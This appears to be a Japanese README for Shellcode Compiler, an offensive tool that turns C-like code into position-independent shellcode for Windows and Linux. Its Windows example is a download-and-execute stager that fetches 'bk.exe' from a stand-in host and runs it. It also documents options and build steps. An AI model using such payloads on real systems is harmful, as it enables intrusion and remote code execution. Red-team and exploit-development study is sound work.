シェルコードコンパイラ

Shellcode Compilerは、C/C++形式のコードを、Windows（x86およびx64）およびLinux（x86およびx64）向けの、小型で位置独立、NULLフリーのシェルコードにコンパイルするプログラムです。ユーザーフレンドリーな方法で任意のWindows API関数やLinuxシステムコールを呼び出すことが可能です。

Shellcode Compilerはソースファイルを入力として受け取り、独自のコンパイラを使用してコードを解釈し、Keystoneエンジンでアセンブルされるアセンブリファイルを生成します。

コマンドラインオプション

    -h (--help)      : このヘルプメッセージを表示
    -p (--platform)  : シェルコードプラットフォーム: win_x86,win_x64,linux_x86,linux_x64
    -v (--verbose)   : 詳細な出力を表示
    -t (--test)      : 生成されたシェルコードをテスト（実行）
    -r (--read)      : ソースコードファイルを読み込む
    -o (--output)    : 生成されたバイナリシェルコードの出力ファイル
    -a (--assembbly) : 生成されたアセンブリコードの出力ファイル

Windowsの例

    function URLDownloadToFileA("urlmon.dll");
    function WinExec("kernel32.dll");
    function ExitProcess("kernel32.dll");

    URLDownloadToFileA(0,"https://site.com/bk.exe","bk.exe",0,0);
    WinExec("bk.exe",0);
    ExitProcess(0);

Linuxの例

    chmod("/root/chmodme",511);
    write(1,"Hello, world",12);
    kill(1661,9);
    getpid();
    execve("/usr/bin/burpsuite",0,0);
    exit(2);

呼び出し例

    ShellcodeCompiler.exe -r Source.txt -o Shellcode.bin -a Assembly.asm -p win_x64

制限事項

API呼び出しの戻り値を使用することはできません
ポインタやバッファを使用することはできません
変数を宣言することはできません

他にも多くの制限が存在します。これはアルファバージョンです。バグや提案があれば報告してください。

変更履歴

Windows x64の初期サポート
Linux (x86およびx64) シェルコードの初期サポート

Keystone

Keystone Engineのソースコードをダウンロード
Keystone Engineを静的ライブラリとしてコンパイル（Linuxではnmake-lib.sh、Windowsではnmake-lib.batを使用）
Windows: 結果のlibファイルをkeystone-src\build\llvm\lib\keystone.libからShellcodeCompiler\Keystone\keystone_x86.lib (32ビット用) および keystone_x64.lib (64ビット用) にコピー
Linux: 結果のlibファイルをkeystone-src\build\llvm\lib\keystone.libからShellcodeCompiler\Keystone\libkeystone_x86.a (32ビット用) および libkeystone_x64.a (64ビット用) にコピー

著者

Ionut Popescu (@NytroRST)

ShellcodeCompiler

人気